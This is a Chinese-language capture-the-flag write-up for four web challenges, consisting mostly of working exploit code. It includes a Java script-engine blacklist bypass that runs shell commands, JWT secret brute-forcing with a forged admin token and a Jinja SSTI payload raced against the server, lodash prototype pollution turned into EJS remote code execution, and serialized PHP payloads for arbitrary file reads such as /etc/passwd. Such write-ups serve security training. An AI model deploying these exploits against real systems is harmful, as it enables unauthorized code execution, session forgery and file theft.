目录
[4、Binary Blog](#4、Binary Blog)
1、眼熟的计算器
反编译jar包看源码

做了黑名单,需要绕过,然后执行命令
Exp:
python
import requests
import urllib.parse
import re
host = "http://8.147.132.32:38529"
url = f"{host}/calc"
# 绕过黑名单: "java.lang.Runtime", "new"
# 使用字符串拼接 + 反射获取 Scanner 构造器 + newInstance 调用
exploit_js = r'''
var rtName = 'java.lang.Run' + 'time';
var Runtime = Java.type(rtName);
var runtime = Runtime.getRuntime();
var p = runtime.exec('cat /flag');
var is = p.getInputStream();
var Scanner = Java.type('java.util.Scanner');
var InputStream = Java.type('java.io.InputStream');
var StringClass = Java.type('java.lang.String');
var constr = Scanner.class.getConstructor(InputStream.class, StringClass.class);
var n = 'n'; var e = 'e'; var w = 'w';
var methodName = n + e + w + 'Instance';
var scanner = constr[methodName](is, 'UTF-8');
scanner.useDelimiter('\\A');
var result = scanner.hasNext() ? scanner.next() : '';
if (result === '') {
var es = p.getErrorStream();
var constr_es = Scanner.class.getConstructor(InputStream.class, StringClass.class);
var scanner_es = constr_es[methodName](es, 'UTF-8');
scanner_es.useDelimiter('\\A');
result = scanner_es.hasNext() ? scanner_es.next() : '';
}
scanner.close();
result;
'''
def send_request(content):
encoded = urllib.parse.quote(content)
target = url + "?content=" + encoded
try:
r = requests.get(target, timeout=30)
return r.text
except Exception as e:
print("Request error:", e)
return None
def main():
print("Sending exploit payload...")
text = send_request(exploit_js)
if text:
# 提取 flag
match = re.search(r'flag\{[^}]*\}', text)
if match:
print("Flag found:", match.group(0))
else:
print("Flag not found in output. Raw response:")
print(text)
else:
print("Request failed.")
if __name__ == "__main__":
main()

2、废弃的网站
给了源码,结合提示,条件竞争打ssti
Exp:
python
import requests
import re
import time
import jwt
import hashlib
import concurrent.futures
base_url = "http://8.147.132.32:13440"
# Step 1: Get running time and guest JWT
r = requests.get(base_url + '/', cookies={'session': 'invalid'})
text = r.text
match = re.search(r'System has been running (\d+) seconds.', text)
if not match:
print("Failed to get running time.")
exit(1)
running = int(match.group(1))
guest_jwt = r.cookies.get('session')
if not guest_jwt:
print("Failed to get guest JWT.")
exit(1)
# Step 2: Brute force start time (wider range)
current = int(time.time())
correct_secret = None
for offset in range(-60, 61):
candidate = current - running + offset
secret = hashlib.sha256(str(candidate).encode()).hexdigest()
try:
decoded = jwt.decode(guest_jwt, secret, algorithms=['HS256'])
if decoded.get('role') == 'guest' and decoded.get('name') == 'Guest User':
correct_secret = secret
print(f"Secret found: start_time = {candidate}")
break
except:
pass
if not correct_secret:
print("Failed to find correct secret. Current time:", current, "Running:", running)
exit(1)
# Step 3: Universal SSTI RCE payload (no hardcoded index)
ssti = r'''
{{ lipsum.__globals__["os"].popen("cat /flag").read() }}
'''
# Step 4: Forge JWTs
admin_jwt = jwt.encode({
"id": 1, "role": "admin", "name": "Administrator"
}, correct_secret, algorithm='HS256')
exploit_jwt = jwt.encode({
"id": 2, "role": "guest", "name": ssti
}, correct_secret, algorithm='HS256')
# Step 5: Race condition functions
def send_admin():
return requests.get(base_url + '/admin', cookies={'session': admin_jwt}, timeout=15).text
def send_exploit():
return requests.get(base_url + '/', cookies={'session': exploit_jwt}, timeout=15).text
# Step 6: Exploit with retry
def attempt():
with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
admin_future = executor.submit(send_admin)
time.sleep(0.07) # Critical: let admin request enter admin_required
exploit_future = executor.submit(send_exploit)
admin_text = admin_future.result()
exploit_text = exploit_future.result()
match = re.search(r'flag\{[^}]*\}', admin_text)
if match:
print("FLAG:", match.group(0))
return True
return False
# Step 7: Run multiple attempts
for i in range(50):
print(f"Attempt {i + 1}/50...")
if attempt():
break
time.sleep(0.3)
else:
print("Failed after 50 attempts. Try again.")

3、小W和小K的故事(最终章)
考察原型链污染,题目使用固定种子预测 Admin 密码后登录;
通过 /addUser 路由中的 lodash.defaultsDeep(users, req.body)向全局 Object.prototype 注入 client=true 和恶意 escapeFunction;
最终,当访问 / 路由触发 res.render('index', ...) 渲染 EJS 模板时,EJS 会误将全局原型链上的恶意属性视为有效渲染选项并执行 escapeFunction,从而实现 RCE 获取 Flag。
Exp:
python
import requests
import json
import re
import sys
# --- Configuration ---
TARGET_URL = "https://eci-2ze0q0ggj5u9py52mu38.cloudeci1.ichunqiu.com:3000"
ADMIN_USERNAME = 'admin'
PRNG_SEED = 114514
requests.packages.urllib3.disable_warnings()
# --- PRNG Calculation ---
class PRNG:
MODULUS = 998244353
MULTIPLIER = 48271
CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
def __init__(self, seed):
self.seed = seed % self.MODULUS
def next_int(self):
self.seed = (self.seed * self.MULTIPLIER) % self.MODULUS
return self.seed
def get_random_int(self, min_val, max_val):
return min_val + (self.next_int() % (max_val - min_val))
def get_random_string(self, length):
result = ""
for _ in range(length):
random_index = self.get_random_int(0, len(self.CHARSET))
result += self.CHARSET[random_index]
return result
def calculate_admin_password(seed):
rng = PRNG(seed)
rng.get_random_string(16) # Session Secret (State change)
return rng.get_random_string(16) # Admin Password
# --- Main Exploit Function ---
def exploit_rce():
session = requests.Session()
# 1. Calculate password and login
admin_password = calculate_admin_password(PRNG_SEED)
print(f"🔑 Admin Password: {admin_password}")
login_url = f"{TARGET_URL}/login"
login_payload = {"username": ADMIN_USERNAME, "password": admin_password}
try:
session.post(login_url, json=login_payload, allow_redirects=False, verify=False)
except requests.exceptions.RequestException as e:
print(f"❌ Login error: {e}");
sys.exit(1)
if 'session' not in session.cookies:
print("❌ Login failed. Exiting.");
sys.exit(1)
print("✅ Logged in.")
# 2. Prototype Pollution Payload
rce_payload_value = f"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //"
pollution_payload = {
"constructor": {
"prototype": {
"client": True,
"escapeFunction": rce_payload_value
}
}
}
# 3. Trigger Pollution via /addUser (lodash.defaultsDeep)
add_user_url = f"{TARGET_URL}/addUser"
try:
session.post(add_user_url, json=pollution_payload, allow_redirects=False, verify=False)
print("✅ Pollution payload sent.")
except requests.exceptions.RequestException as e:
print(f"❌ Pollution request error: {e}");
sys.exit(1)
# 4. Trigger EJS RCE (GET /)
trigger_url = f"{TARGET_URL}/"
print("🔥 Triggering RCE...")
try:
response = session.get(trigger_url, verify=False)
flag_match = re.search(r'ichiq\{[a-zA-Z0-9_-]+\}', response.text)
if flag_match:
print("\n🎉 **Flag Found!** 🎉")
print("====================================")
print(f"FLAG: **{flag_match.group(0)}**")
print("====================================")
else:
print("\n🤔 Flag not matched. Check response snippet:")
print(response.text[:500])
except requests.exceptions.RequestException as e:
print(f"❌ RCE trigger error: {e}")
if __name__ == "__main__":
exploit_rce()

4、Binary Blog
尝试登录admin未成功,随便注册一个账号进去看看

测了下功能点,发现存在文件上传点

随便传了个东西,注意到报错反序列化失败

因为不清楚它反序列化的情况,我们直接发布博客导出看看dat文件的内容


注意到其中template默认是default.php,尝试换成其他文件,比如/etc/passwd
发现存在任意文件读取漏洞
Payload:
python
a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:11:"/etc/passwd";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}

尝试使用伪协议读取flag.php
Payload:
python
a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:55:"php://filter/convert.iconv.SJIS.UCS-4/resource=flag.php";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}
